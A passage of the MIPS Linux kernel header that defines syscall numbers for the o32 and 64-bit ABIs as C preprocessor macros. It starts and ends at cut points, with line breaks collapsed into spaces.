__NR_ioperm (__NR_Linux + 101) #define __NR_socketcall (__NR_Linux + 102) #define __NR_syslog (__NR_Linux + 103) #define __NR_setitimer (__NR_Linux + 104) #define __NR_getitimer (__NR_Linux + 105) #define __NR_stat (__NR_Linux + 106) #define __NR_lstat (__NR_Linux + 107) #define __NR_fstat (__NR_Linux + 108) #define __NR_unused109 (__NR_Linux + 109) #define __NR_iopl (__NR_Linux + 110) #define __NR_vhangup (__NR_Linux + 111) #define __NR_idle (__NR_Linux + 112) #define __NR_vm86 (__NR_Linux + 113) #define __NR_wait4 (__NR_Linux + 114) #define __NR_swapoff (__NR_Linux + 115) #define __NR_sysinfo (__NR_Linux + 116) #define __NR_ipc (__NR_Linux + 117) #define __NR_fsync (__NR_Linux + 118) #define __NR_sigreturn (__NR_Linux + 119) #define __NR_clone (__NR_Linux + 120) #define __NR_setdomainname (__NR_Linux + 121) #define __NR_uname (__NR_Linux + 122) #define __NR_modify_ldt (__NR_Linux + 123) #define __NR_adjtimex (__NR_Linux + 124) #define __NR_mprotect (__NR_Linux + 125) #define __NR_sigprocmask (__NR_Linux + 126) #define __NR_create_module (__NR_Linux + 127) #define __NR_init_module (__NR_Linux + 128) #define __NR_delete_module (__NR_Linux + 129) #define __NR_get_kernel_syms (__NR_Linux + 130) #define __NR_quotactl (__NR_Linux + 131) #define __NR_getpgid (__NR_Linux + 132) #define __NR_fchdir (__NR_Linux + 133) #define __NR_bdflush (__NR_Linux + 134) #define __NR_sysfs (__NR_Linux + 135) #define __NR_personality (__NR_Linux + 136) #define __NR_afs_syscall (__NR_Linux + 137) /* Syscall for Andrew File System */ #define __NR_setfsuid (__NR_Linux + 138) #define __NR_setfsgid (__NR_Linux + 139) #define __NR__llseek (__NR_Linux + 140) #define __NR_getdents (__NR_Linux + 141) #define __NR__newselect (__NR_Linux + 142) #define __NR_flock (__NR_Linux + 143) #define __NR_msync (__NR_Linux + 144) #define __NR_readv (__NR_Linux + 145) #define __NR_writev (__NR_Linux + 146) #define __NR_cacheflush (__NR_Linux + 147) #define __NR_cachectl (__NR_Linux + 148) #define __NR_sysmips (__NR_Linux + 149) #define __NR_unused150 (__NR_Linux + 150) #define __NR_getsid (__NR_Linux + 151) #define __NR_fdatasync (__NR_Linux + 152) #define __NR__sysctl (__NR_Linux + 153) #define __NR_mlock (__NR_Linux + 154) #define __NR_munlock (__NR_Linux + 155) #define __NR_mlockall (__NR_Linux + 156) #define __NR_munlockall (__NR_Linux + 157) #define __NR_sched_setparam (__NR_Linux + 158) #define __NR_sched_getparam (__NR_Linux + 159) #define __NR_sched_setscheduler (__NR_Linux + 160) #define __NR_sched_getscheduler (__NR_Linux + 161) #define __NR_sched_yield (__NR_Linux + 162) #define __NR_sched_get_priority_max (__NR_Linux + 163) #define __NR_sched_get_priority_min (__NR_Linux + 164) #define __NR_sched_rr_get_interval (__NR_Linux + 165) #define __NR_nanosleep (__NR_Linux + 166) #define __NR_mremap (__NR_Linux + 167) #define __NR_accept (__NR_Linux + 168) #define __NR_bind (__NR_Linux + 169) #define __NR_connect (__NR_Linux + 170) #define __NR_getpeername (__NR_Linux + 171) #define __NR_getsockname (__NR_Linux + 172) #define __NR_getsockopt (__NR_Linux + 173) #define __NR_listen (__NR_Linux + 174) #define __NR_recv (__NR_Linux + 175) #define __NR_recvfrom (__NR_Linux + 176) #define __NR_recvmsg (__NR_Linux + 177) #define __NR_send (__NR_Linux + 178) #define __NR_sendmsg (__NR_Linux + 179) #define __NR_sendto (__NR_Linux + 180) #define __NR_setsockopt (__NR_Linux + 181) #define __NR_shutdown (__NR_Linux + 182) #define __NR_socket (__NR_Linux + 183) #define __NR_socketpair (__NR_Linux + 184) #define __NR_setresuid (__NR_Linux + 185) #define __NR_getresuid (__NR_Linux + 186) #define __NR_query_module (__NR_Linux + 187) #define __NR_poll (__NR_Linux + 188) #define __NR_nfsservctl (__NR_Linux + 189) #define __NR_setresgid (__NR_Linux + 190) #define __NR_getresgid (__NR_Linux + 191) #define __NR_prctl (__NR_Linux + 192) #define __NR_rt_sigreturn (__NR_Linux + 193) #define __NR_rt_sigaction (__NR_Linux + 194) #define __NR_rt_sigprocmask (__NR_Linux + 195) #define __NR_rt_sigpending (__NR_Linux + 196) #define __NR_rt_sigtimedwait (__NR_Linux + 197) #define __NR_rt_sigqueueinfo (__NR_Linux + 198) #define __NR_rt_sigsuspend (__NR_Linux + 199) #define __NR_pread64 (__NR_Linux + 200) #define __NR_pwrite64 (__NR_Linux + 201) #define __NR_chown (__NR_Linux + 202) #define __NR_getcwd (__NR_Linux + 203) #define __NR_capget (__NR_Linux + 204) #define __NR_capset (__NR_Linux + 205) #define __NR_sigaltstack (__NR_Linux + 206) #define __NR_sendfile (__NR_Linux + 207) #define __NR_getpmsg (__NR_Linux + 208) #define __NR_putpmsg (__NR_Linux + 209) #define __NR_mmap2 (__NR_Linux + 210) #define __NR_truncate64 (__NR_Linux + 211) #define __NR_ftruncate64 (__NR_Linux + 212) #define __NR_stat64 (__NR_Linux + 213) #define __NR_lstat64 (__NR_Linux + 214) #define __NR_fstat64 (__NR_Linux + 215) #define __NR_pivot_root (__NR_Linux + 216) #define __NR_mincore (__NR_Linux + 217) #define __NR_madvise (__NR_Linux + 218) #define __NR_getdents64 (__NR_Linux + 219) #define __NR_fcntl64 (__NR_Linux + 220) #define __NR_reserved221 (__NR_Linux + 221) #define __NR_gettid (__NR_Linux + 222) #define __NR_readahead (__NR_Linux + 223) #define __NR_setxattr (__NR_Linux + 224) #define __NR_lsetxattr (__NR_Linux + 225) #define __NR_fsetxattr (__NR_Linux + 226) #define __NR_getxattr (__NR_Linux + 227) #define __NR_lgetxattr (__NR_Linux + 228) #define __NR_fgetxattr (__NR_Linux + 229) #define __NR_listxattr (__NR_Linux + 230) #define __NR_llistxattr (__NR_Linux + 231) #define __NR_flistxattr (__NR_Linux + 232) #define __NR_removexattr (__NR_Linux + 233) #define __NR_lremovexattr (__NR_Linux + 234) #define __NR_fremovexattr (__NR_Linux + 235) #define __NR_tkill (__NR_Linux + 236) #define __NR_sendfile64 (__NR_Linux + 237) #define __NR_futex (__NR_Linux + 238) #define __NR_sched_setaffinity (__NR_Linux + 239) #define __NR_sched_getaffinity (__NR_Linux + 240) #define __NR_io_setup (__NR_Linux + 241) #define __NR_io_destroy (__NR_Linux + 242) #define __NR_io_getevents (__NR_Linux + 243) #define __NR_io_submit (__NR_Linux + 244) #define __NR_io_cancel (__NR_Linux + 245) #define __NR_exit_group (__NR_Linux + 246) #define __NR_lookup_dcookie (__NR_Linux + 247) #define __NR_epoll_create (__NR_Linux + 248) #define __NR_epoll_ctl (__NR_Linux + 249) #define __NR_epoll_wait (__NR_Linux + 250) #define __NR_remap_file_pages (__NR_Linux + 251) #define __NR_set_tid_address (__NR_Linux + 252) #define __NR_restart_syscall (__NR_Linux + 253) #define __NR_fadvise64 (__NR_Linux + 254) #define __NR_statfs64 (__NR_Linux + 255) #define __NR_fstatfs64 (__NR_Linux + 256) #define __NR_timer_create (__NR_Linux + 257) #define __NR_timer_settime (__NR_Linux + 258) #define __NR_timer_gettime (__NR_Linux + 259) #define __NR_timer_getoverrun (__NR_Linux + 260) #define __NR_timer_delete (__NR_Linux + 261) #define __NR_clock_settime (__NR_Linux + 262) #define __NR_clock_gettime (__NR_Linux + 263) #define __NR_clock_getres (__NR_Linux + 264) #define __NR_clock_nanosleep (__NR_Linux + 265) #define __NR_tgkill (__NR_Linux + 266) #define __NR_utimes (__NR_Linux + 267) #define __NR_mbind (__NR_Linux + 268) #define __NR_get_mempolicy (__NR_Linux + 269) #define __NR_set_mempolicy (__NR_Linux + 270) #define __NR_mq_open (__NR_Linux + 271) #define __NR_mq_unlink (__NR_Linux + 272) #define __NR_mq_timedsend (__NR_Linux + 273) #define __NR_mq_timedreceive (__NR_Linux + 274) #define __NR_mq_notify (__NR_Linux + 275) #define __NR_mq_getsetattr (__NR_Linux + 276) #define __NR_vserver (__NR_Linux + 277) #define __NR_waitid (__NR_Linux + 278) /* #define __NR_sys_setaltroot (__NR_Linux + 279) */ #define __NR_add_key (__NR_Linux + 280) #define __NR_request_key (__NR_Linux + 281) #define __NR_keyctl (__NR_Linux + 282) #define __NR_set_thread_area (__NR_Linux + 283) #define __NR_inotify_init (__NR_Linux + 284) #define __NR_inotify_add_watch (__NR_Linux + 285) #define __NR_inotify_rm_watch (__NR_Linux + 286) #define __NR_migrate_pages (__NR_Linux + 287) #define __NR_openat (__NR_Linux + 288) #define __NR_mkdirat (__NR_Linux + 289) #define __NR_mknodat (__NR_Linux + 290) #define __NR_fchownat (__NR_Linux + 291) #define __NR_futimesat (__NR_Linux + 292) #define __NR_fstatat64 (__NR_Linux + 293) #define __NR_unlinkat (__NR_Linux + 294) #define __NR_renameat (__NR_Linux + 295) #define __NR_linkat (__NR_Linux + 296) #define __NR_symlinkat (__NR_Linux + 297) #define __NR_readlinkat (__NR_Linux + 298) #define __NR_fchmodat (__NR_Linux + 299) #define __NR_faccessat (__NR_Linux + 300) #define __NR_pselect6 (__NR_Linux + 301) #define __NR_ppoll (__NR_Linux + 302) #define __NR_unshare (__NR_Linux + 303) #define __NR_splice (__NR_Linux + 304) #define __NR_sync_file_range (__NR_Linux + 305) #define __NR_tee (__NR_Linux + 306) #define __NR_vmsplice (__NR_Linux + 307) #define __NR_move_pages (__NR_Linux + 308) #define __NR_set_robust_list (__NR_Linux + 309) #define __NR_get_robust_list (__NR_Linux + 310) #define __NR_kexec_load (__NR_Linux + 311) #define __NR_getcpu (__NR_Linux + 312) #define __NR_epoll_pwait (__NR_Linux + 313) #define __NR_ioprio_set (__NR_Linux + 314) #define __NR_ioprio_get (__NR_Linux + 315) #define __NR_utimensat (__NR_Linux + 316) #define __NR_signalfd (__NR_Linux + 317) #define __NR_timerfd (__NR_Linux + 318) #define __NR_eventfd (__NR_Linux + 319) #define __NR_fallocate (__NR_Linux + 320) #define __NR_timerfd_create (__NR_Linux + 321) #define __NR_timerfd_gettime (__NR_Linux + 322) #define __NR_timerfd_settime (__NR_Linux + 323) #define __NR_signalfd4 (__NR_Linux + 324) #define __NR_eventfd2 (__NR_Linux + 325) #define __NR_epoll_create1 (__NR_Linux + 326) #define __NR_dup3 (__NR_Linux + 327) #define __NR_pipe2 (__NR_Linux + 328) #define __NR_inotify_init1 (__NR_Linux + 329) #define __NR_preadv (__NR_Linux + 330) #define __NR_pwritev (__NR_Linux + 331) #define __NR_rt_tgsigqueueinfo (__NR_Linux + 332) #define __NR_perf_event_open (__NR_Linux + 333) #define __NR_accept4 (__NR_Linux + 334) #define __NR_recvmmsg (__NR_Linux + 335) #define __NR_fanotify_init (__NR_Linux + 336) #define __NR_fanotify_mark (__NR_Linux + 337) #define __NR_prlimit64 (__NR_Linux + 338) #define __NR_name_to_handle_at (__NR_Linux + 339) #define __NR_open_by_handle_at (__NR_Linux + 340) #define __NR_clock_adjtime (__NR_Linux + 341) #define __NR_syncfs (__NR_Linux + 342) #define __NR_sendmmsg (__NR_Linux + 343) #define __NR_setns (__NR_Linux + 344) #define __NR_process_vm_readv (__NR_Linux + 345) #define __NR_process_vm_writev (__NR_Linux + 346) #define __NR_kcmp (__NR_Linux + 347) #define __NR_finit_module (__NR_Linux + 348) #define __NR_sched_setattr (__NR_Linux + 349) #define __NR_sched_getattr (__NR_Linux + 350) #define __NR_renameat2 (__NR_Linux + 351) #define __NR_seccomp (__NR_Linux + 352) #define __NR_getrandom (__NR_Linux + 353) #define __NR_memfd_create (__NR_Linux + 354) #define __NR_bpf (__NR_Linux + 355) #define __NR_execveat (__NR_Linux + 356) #define __NR_userfaultfd (__NR_Linux + 357) #define __NR_membarrier (__NR_Linux + 358) #define __NR_mlock2 (__NR_Linux + 359) #define __NR_copy_file_range (__NR_Linux + 360) #define __NR_preadv2 (__NR_Linux + 361) #define __NR_pwritev2 (__NR_Linux + 362) #define __NR_pkey_mprotect (__NR_Linux + 363) #define __NR_pkey_alloc (__NR_Linux + 364) #define __NR_pkey_free (__NR_Linux + 365) #define __NR_statx (__NR_Linux + 366) #define __NR_rseq (__NR_Linux + 367) #define __NR_io_pgetevents (__NR_Linux + 368) #define __NR_semget (__NR_Linux + 393) #define __NR_semctl (__NR_Linux + 394) #define __NR_shmget (__NR_Linux + 395) #define __NR_shmctl (__NR_Linux + 396) #define __NR_shmat (__NR_Linux + 397) #define __NR_shmdt (__NR_Linux + 398) #define __NR_msgget (__NR_Linux + 399) #define __NR_msgsnd (__NR_Linux + 400) #define __NR_msgrcv (__NR_Linux + 401) #define __NR_msgctl (__NR_Linux + 402) #define __NR_clock_gettime64 (__NR_Linux + 403) #define __NR_clock_settime64 (__NR_Linux + 404) #define __NR_clock_adjtime64 (__NR_Linux + 405) #define __NR_clock_getres_time64 (__NR_Linux + 406) #define __NR_clock_nanosleep_time64 (__NR_Linux + 407) #define __NR_timer_gettime64 (__NR_Linux + 408) #define __NR_timer_settime64 (__NR_Linux + 409) #define __NR_timerfd_gettime64 (__NR_Linux + 410) #define __NR_timerfd_settime64 (__NR_Linux + 411) #define __NR_utimensat_time64 (__NR_Linux + 412) #define __NR_pselect6_time64 (__NR_Linux + 413) #define __NR_ppoll_time64 (__NR_Linux + 414) #define __NR_io_pgetevents_time64 (__NR_Linux + 416) #define __NR_recvmmsg_time64 (__NR_Linux + 417) #define __NR_mq_timedsend_time64 (__NR_Linux + 418) #define __NR_mq_timedreceive_time64 (__NR_Linux + 419) #define __NR_semtimedop_time64 (__NR_Linux + 420) #define __NR_rt_sigtimedwait_time64 (__NR_Linux + 421) #define __NR_futex_time64 (__NR_Linux + 422) #define __NR_sched_rr_get_interval_time64 (__NR_Linux + 423) #define __NR_pidfd_send_signal (__NR_Linux + 424) #define __NR_io_uring_setup (__NR_Linux + 425) #define __NR_io_uring_enter (__NR_Linux + 426) #define __NR_io_uring_register (__NR_Linux + 427) #define __NR_open_tree (__NR_Linux + 428) #define __NR_move_mount (__NR_Linux + 429) #define __NR_fsopen (__NR_Linux + 430) #define __NR_fsconfig (__NR_Linux + 431) #define __NR_fsmount (__NR_Linux + 432) #define __NR_fspick (__NR_Linux + 433) #define __NR_pidfd_open (__NR_Linux + 434) #define __NR_clone3 (__NR_Linux + 435) #define __NR_openat2 (__NR_Linux + 437) #define __NR_pidfd_getfd (__NR_Linux + 438) #elif _MIPS_SIM == _ABI64 /* * Linux 64-bit syscalls are in the range from 5000 to 5999. */ #define __NR_Linux 5000 #define __NR_read (__NR_Linux + 0) #define __NR_write (__NR_Linux + 1) #define __NR_open (__NR_Linux + 2) #define __NR_close (__NR_Linux + 3) #define __NR_stat (__NR_Linux + 4) #define __NR_fstat (__NR_Linux + 5) #define __NR_lstat (__NR_Linux + 6) #define __NR_poll (__NR_Linux + 7) #define __NR_lseek (__NR_Linux + 8) #define __NR_mmap (__NR_Linux + 9) #define __NR_mprotect (__NR_Linux + 10) #define __NR_munmap (__NR_Linux + 11) #define __NR_brk (__NR_Linux + 12) #define __NR_rt_sigaction (__NR_Linux + 13) #define __NR_rt_sigprocmask (__NR_Linux + 14) #define __NR_ioctl (__NR_Linux + 15) #define __NR_pread64 (__NR_Linux + 16) #define __NR_pwrite64 (__NR_Linux + 17) #define __NR_readv (__NR_Linux + 18) #define __NR_writev (__NR_Linux + 19) #define __NR_access (__NR_Linux + 20) #define __NR_pipe (__NR_Linux + 21) #define __NR__newselect (__NR_Linux + 22) #define __NR_sched_yield (__NR_Linux + 23) #define __NR_mremap (__NR_Linux + 24) #define __NR_msync (__NR_Linux + 25) #define __NR_mincore (__NR_Linux + 26) #define __NR_madvise (__NR_Linux + 27) #define __NR_shmget (__NR_Linux + 28) #define __NR_shmat (__NR_Linux + 29) #define __NR_shmctl (__NR_Linux + 30) #define __NR_dup (__NR_Linux + 31) #define __NR_dup2 (__NR_Linux + 32) #define __NR_pause (__NR_Linux + 33) #define __NR_nanosleep (__NR_Linux + 34) #define __NR_getitimer (__NR_Linux + 35) #define __NR_setitimer (__NR_Linux + 36) #define __NR_alarm (__NR_Linux + 37) #define __NR_getpid (__NR_Linux + 38) #define __NR_sendfile (__NR_Linux + 39) #define __NR_socket (__NR_Linux + 40) #define __NR_connect (__NR_Linux + 41) #define __NR_accept (__NR_Linux + 42) #define __NR_sendto (__NR_Linux + 43) #define __NR_recvfrom (__NR_Linux + 44) #define __NR_sendmsg (__NR_Linux + 45) #define __NR_recvmsg (__NR_Linux + 46) #define __NR_shutdown (__NR_Linux + 47) #define __NR_bind (__NR_Linux + 48) #define __NR_listen (__NR_Linux + 49) #define __NR_getsockname (__NR_Linux + 50) #define __NR_getpeername (__NR_Linux + 51) #define __NR_socketpair (__NR_Linux + 52) #define __NR_setsockopt (__NR_Linux + 53) #define __NR_getsockopt (__NR_Linux + 54) #define __NR_clone (__NR_Linux + 55) #define __NR_fork (__NR_Linux + 56) #define __NR_execve (__NR_Linux + 57) #define __NR_exit (__NR_Linux + 58) #define __NR_wait4 (__NR_Linux + 59) #define __NR_kill (__NR_Linux + 60) #define __NR_uname (__NR_Linux + 61) #define __NR_semget (__NR_Linux + 62) #define __NR_semop (__NR_Linux + 63) #define __NR_semctl (__NR_Linux + 64) #define __NR_shmdt (__NR_Linux + 65) #define __NR_msgget (__NR_Linux + 66) #define __NR_msgsnd (__NR_Linux + 67) #define __NR_msgrcv (__NR_Linux + 68) #define __NR_msgctl (__NR_Linux + 69) #define __NR_fcntl (__NR_Linux + 70) #define __NR_flock (__NR_Linux + 71) #define __NR_fsync (__NR_Linux + 72) #define __NR_fdatasync (__NR_Linux + 73) #define __NR_truncate (__NR_Linux + 74) #define __NR_ftruncate (__NR_Linux + 75) #define __NR_getdents (__NR_Linux + 76) #define __NR_getcwd (__NR_Linux + 77) #define __NR_chdir (__NR_Linux + 78) #define __NR_fchdir (__NR_Linux + 79) #define __NR_rename (__NR_Linux + 80) #define __NR_mkdir (__NR_Linux + 81) #define __NR_rmdir (__NR_Linux + 82) #define __NR_creat (__NR_Linux + 83) #define __NR_link (__NR_Linux + 84) #define __NR_unlink (__NR_Linux + 85) #define __NR_symlink (__NR_Linux + 86) #define __NR_readlink (__NR_Linux + 87) #define __NR_chmod (__NR_Linux + 88) #define __NR_fchmod (__NR_Linux + 89) #define __NR_chown (__NR_Linux + 90) #define __NR_fchown (__NR_Linux + 91) #define __NR_lchown (__NR_Linux + 92) #define __NR_umask (__NR_Linux + 93) #define __NR_gettimeofday (__NR_Linux + 94) #define __NR_getrlimit (__NR_Linux + 95) #define __NR_getrusage (__NR_Linux + 96) #define __NR_sysinfo (__NR_Linux + 97) #define __NR_times (__NR_Linux + 98) #define __NR_ptrace (__NR_Linux + 99) #define __NR_getuid (__NR_Linux + 100) #define __NR_syslog (__NR_Linux + 101) #define __NR_getgid (__NR_Linux + 102) #define __NR_setuid (__NR_Linux + 103) #define __NR_setgid (__NR_Linux + 104) #define __NR_geteuid (__NR_Linux + 105) #define __NR_getegid (__NR_Linux + 106) #define __NR_setpgid (__NR_Linux + 107) #define __NR_getppid (__NR_Linux + 108) #define __NR_getpgrp (__NR_Linux + 109) #define __NR_setsid (__NR_Linux + 110) #define __NR_setreuid (__NR_Linux + 111) #define __NR_setregid (__NR_Linux + 112) #define __NR_getgroups (__NR_Linux + 113) #define __NR_setgroups (__NR_Linux + 114) #define __NR_setresuid (__NR_Linux + 115) #define __NR_getresuid (__NR_Linux + 116) #define __NR_setresgid (__NR_Linux + 117) #define __NR_getresgid (__NR_Linux + 118) #define __NR_getpgid (__NR_Linux + 119) #define __NR_setfsuid (__NR_Linux + 120) #define __NR_setfsgid (__NR_Linux + 121) #define __NR_getsid (__NR_Linux + 122) #define __NR_capget (__NR_Linux + 123) #define __NR_capset (__NR_Linux + 124) #define __NR_rt_sigpending (__NR_Linux + 125) #define __NR_rt_sigtimedwait (__NR_Linux + 126) #define __NR_rt_sigqueueinfo (__NR_Linux + 127) #define __NR_rt_sigsuspend (__NR_Linux + 128) #define __NR_sigaltstack (__NR_Linux + 129) #define __NR_utime (__NR_Linux + 130) #define __NR_mknod (__NR_Linux + 131) #define __NR_personality (__NR_Linux + 132) #define __NR_ustat (__NR_Linux + 133) #define __NR_statfs (__NR_Linux + 134) #define __NR_fstatfs (__NR_Linux + 135) #define __NR_sysfs (__NR_Linux + 136) #define __NR_getpriority (__NR_Linux + 137) #define __NR_setpriority (__NR_Linux + 138) #define __NR_sched_setparam (__NR_Linux + 139) #define __NR_sched_getparam (__NR_Linux + 140) #define __NR_sched_setscheduler (__NR_Linux + 141) #define __NR_sched_getscheduler (__NR_Linux + 142) #define __NR_sched_get_priority_max (__NR_Linux + 143) #define __NR_sched_get_priority_min (__NR_Linux + 144) #define __NR_sched_rr_get_interval (__NR_Linux + 145) #define __NR_mlock (__NR_Linux + 146) #define __NR_munlock (__NR_Linux + 147) #define __NR_mlockall (__NR_Linux + 148) #define __NR_munlockall (__NR_Linux + 149) #define __NR_vhangup (__NR_Linux + 150) #define __NR_pivot_root (__NR_Linux + 151) #define __NR__sysctl (__NR_Linux + 152) #define __NR_prctl (__NR_Linux + 153) #define __NR_adjtimex (__NR_Linux + 154) #define __NR_setrlimit (__NR_Linux + 155) #define __NR_chroot (__NR_Linux + 156) #define __NR_sync (__NR_Linux + 157) #define __NR_acct (__NR_Linux + 158) #define __NR_settimeofday (__NR_Linux + 159) #define __NR_mount (__NR_Linux + 160) #define __NR_umount2 (__NR_Linux + 161) #define __NR_swapon (__NR_Linux + 162) #define __NR_swapoff (__NR_Linux + 163) #define __NR_reboot (__NR_Linux + 164) #define __NR_sethostname (__NR_Linux + 165) #define __NR_setdomainname (__NR_Linux + 166) #define __NR_create_module (__NR_Linux + 167) #define __NR_init_module (__NR_Linux + 168) #define __NR_delete_module (__NR_Linux + 169) #define __NR_get_kernel_syms (__NR_Linux + 170) #define __NR_query_module (__NR_Linux + 171) #define __NR_quotactl (__NR_Linux + 172) #define __NR_nfsservctl (__NR_Linux + 173) #define __NR_getpmsg (__NR_Linux + 174) #define __NR_putpmsg (__NR_Linux + 175) #define __NR_afs_syscall (__NR_Linux + 176) #define __NR_reserved177 (__NR_Linux + 177) #define __NR_gettid (__NR_Linux + 178) #define __NR_readahead (__NR_Linux + 179) #define __NR_setxattr (__NR_Linux + 180) #define __NR_lsetxattr (__NR_Linux + 181) #define __NR_fsetxattr (__NR_Linux + 182) #define __NR_getxattr (__NR_Linux + 183) #define __NR_lgetxattr (__NR_Linux + 184) #define __NR_fgetxattr (__NR_Linux + 185) #define __NR_listxattr (__NR_Linux + 186) #define __NR_llistxattr (__NR_Linux + 187) #define __NR_flistxattr (__NR_Linux + 188) #define __NR_removexattr (__NR_Linux + 189) #define __NR_lremovexattr (__NR_Linux + 190) #define __NR_fremovexattr (__NR_Linux + 191) #define __NR_tkill (__NR_Linux + 192) #define __NR_reserved193 (__NR_Linux + 193) #define __NR_futex (__NR_Linux + 194) #define __NR_sched_setaffinity (__NR_Linux + 195) #define __NR_sched_getaffinity (__NR_Linux + 196) #define __NR_cacheflush (__NR_Linux + 197) #define __NR_cachectl (__NR_Linux + 198) #define __NR_sysmips (__NR_Linux + 199) #define __NR_io_setup (__NR_Linux + 200) #define __NR_io_destroy (__NR_Linux + 201) #define __NR_io_getevents (__NR_Linux + 202) #define __NR_io_submit (__NR_Linux + 203) #define __NR_io_cancel (__NR_Linux + 204) #define __NR_exit_group (__NR_Linux + 205) #define __NR_lookup_dcookie (__NR_Linux + 206) #define __NR_epoll_create (__NR_Linux + 207) #define __NR_epoll_ctl (__NR_Linux + 208) #define __NR_epoll_wait (__NR_Linux + 209) #define __NR_remap_file_pages (__NR_Linux + 210) #define __NR_rt_sigreturn (__NR_Linux + 211) #define __NR_set_tid_address (__NR_Linux + 212) #define __NR_restart_syscall (__NR_Linux + 213) #define __NR_semtimedop (__NR_Linux + 214) #define __NR_fadvise64 (__NR_Linux + 215) #define __NR_timer_create (__NR_Linux + 216) #define __NR_timer_settime (__NR_Linux + 217) #define __NR_timer_gettime (__NR_Linux + 218) #define __NR_timer_getoverrun (__NR_Linux + 219) #define __NR_timer_delete (__NR_Linux + 220) #define __NR_clock_settime (__NR_Linux + 221) #define __NR_clock_gettime (__NR_Linux + 222) #define __NR_clock_getres (__NR_Linux + 223) #define __NR_clock_nanosleep (__NR_Linux + 224) #define __NR_tgkill (__NR_Linux + 225) #define __NR_utimes (__NR_Linux + 226) #define __NR_mbind (__NR_Linux + 227) #define __NR_get_mempolicy (__NR_Linux + 228) #define __NR_set_mempolicy (__NR_Linux + 229) #define __NR_mq_open (__NR_Linux + 230) #define __NR_mq_unlink (__NR_Linux + 231) #define __NR_mq_timedsend (__NR_Linux + 232) #define __NR_mq_timedreceive (__NR_Linux + 233) #define __NR_mq_notify (__NR_Linux + 234) #define __NR_mq_getsetattr (__NR_Linux + 235) #define __NR_vserver (__NR_Linux + 236) #define __NR_waitid (__NR_Linux + 237) /* #define __NR_sys_setaltroot (__NR_Linux + 238) */ #define __NR_add_key (__NR_Linux + 239) #define __NR_request_key (__NR_Linux + 240) #define __NR_keyctl (__NR_Linux + 241) #define __NR_set_thread_area (__NR_Linux + 242) #define __NR_inotify_init (__NR_Linux + 243) #define __NR_inotify_add_watch (__NR_Linux + 244) #define __NR_inotify_rm_watch (__NR_Linux + 245) #define __NR_migrate_pages (__NR_Linux + 246) #define __NR_openat (__NR_Linux + 247) #define __NR_mkdirat (__NR_Linux + 248) #define __NR_mknodat (__NR_Linux + 249) #define __NR_fchownat (__NR_Linux + 250) #define __NR_futimesat (__NR_Linux + 251) #define __NR_newfstatat (__NR_Linux + 252) #define __NR_unlinkat (__NR_Linux + 253) #define __NR_renameat (__NR_Linux + 254) #define __NR_linkat (__NR_Linux + 255) #define __NR_symlinkat (__NR_Linux + 256) #define __NR_readlinkat (__NR_Linux + 257) #define __NR_fchmodat (__NR_Linux + 258) #define __NR_faccessat (__NR_Linux + 259) #define __NR_pselect6 (__NR_Linux + 260) #define __NR_ppoll (__NR_Linux + 261) #define __NR_unshare (__NR_Linux + 262) #define __NR_splice (__NR_Linux + 263) #define __NR_sync_file_range (__NR_Linux + 264) #define __NR_tee (__NR_Linux + 265) #define __NR_vmsplice (__NR_Linux + 266) #define __NR_move_pages (__NR_Linux + 267) #define __NR_set_robust_list (__NR_Linux + 268) #define __NR_get_robust_list (__NR_Linux + 269) #define __NR_kexec_load (__NR_Linux + 270) #define __NR_getcpu (__NR_Linux + 271) #define __NR_epoll_pwait (__NR_Linux + 272) #define __NR_ioprio_set (__NR_Linux + 273) #define __NR_ioprio_get (__NR_Linux + 274) #define __NR_utimensat (__NR_Linux + 275) #define __NR_signalfd (__NR_Linux + 276) #define __NR_timerfd (__NR_Linux + 277) #define __NR_eventfd (__NR_Linux + 278) #define __NR_fallocate (__NR_Linux + 279) #define __NR_timerfd_create (__NR_Linux + 280) #define __NR_timerfd_gettime (__NR_Linux + 281) #define __NR_timerfd_settime (__NR_Linux + 282) #define __NR_signalfd4 (__NR_Linux + 283) #define __NR_eventfd2 (__NR_Linux + 284) #define __NR_epoll_create1 (__NR_Linux + 285) #define __NR_dup3 (__NR_Linux + 286) #define __NR_pipe2 (__NR_Linux + 287) #define __NR_inotify_init1 (__NR_Linux + 288) #define __NR_preadv (__NR_Linux + 289) #define __NR_pwritev (__NR_Linux + 290) #define __NR_rt_tgsigqueueinfo (__NR_Linux + 291) #define __NR_perf_event_open (__NR_Linux + 292) #define __NR_accept4 (__NR_Linux + 293) #define __NR_recvmmsg (__NR_Linux + 294) #define __NR_fanotify_init (__NR_Linux + 295) #define __NR_fanotify_mark (__NR_Linux + 296) #define __NR_prlimit64 (__NR_Linux + 297) #define __NR_name_to_handle_at (__NR_Linux + 298) #define __NR_open_by_handle_at (__NR_Linux + 299) #define __NR_clock_adjtime (__NR_Linux + 300) #define __NR_syncfs (__NR_Linux + 301) #define __NR_sendmmsg (__NR_Linux + 302) #define __NR_setns (__NR_Linux + 303) #define __NR_process_vm_readv (__NR_Linux + 304) #define __NR_process_vm_writev (__NR_Linux + 305) #define __NR_kcmp (__NR_Linux + 306) #define __NR_finit_module (__NR_Linux + 307) #define __NR_getdents64 (__NR_Linux + 308) #define __NR_sched_setattr (__NR_Linux + 309) #define __NR_sched_getattr (__NR_Linux + 310) #define __NR_renameat2 (__NR_Linux + 311) #define __NR_seccomp (__NR_Linux + 312) #define __NR_getrandom (__NR_Linux + 313) #define __NR_memfd_create (__NR_Linux + 314) #define __NR_bpf (__NR_Linux + 315) #define __NR_execveat (__NR_Linux + 316) #define __NR_userfaultfd (__NR_Linux + 317) #define __NR_membarrier (__NR_Linux + 318) #define __NR_mlock2 (__NR_Linux + 319) #define __NR_copy_file_range (__NR_Linux + 320) #define __NR_preadv2 (__NR_Linux + 321) #define __NR_pwritev2 (__NR_Linux + 322) #define __NR_pkey_mprotect (__NR_Linux + 323) #define __NR_pkey_alloc (__NR_Linux + 324) #define __NR_pkey_free (__NR_Linux + 325) #define __NR_statx (__NR_Linux + 326) #define __NR_rseq (__NR_Linux + 327) #define __NR_io_pgetevents (__NR_Linux + 328) #define __NR_pidfd_send_signal (__NR_Linux + 424) #define __NR_io_uring_setup (__NR_Linux + 425) #define __NR_io_uring_enter (__NR_Linux + 426) #define __NR_io_uring_register (__NR_Linux + 427) #define __NR_open_tree (__NR_Linux + 428) #define __NR_move_mount (__NR_Linux + 429) #define __NR_fsopen (__NR_Linux + 430) #define __NR_fsconfig (__NR_Linux + 431) #define __NR_fsmount (__NR_Linux + 432) #define __NR_fspick (__NR_Linux + 433) #define __NR_pidfd_open (__NR_Linux + 434) #define __NR_clone3 (__NR_Linux + 435) #define __NR_openat2 (__NR_Linux + 437) #define __NR_pidfd_getfd 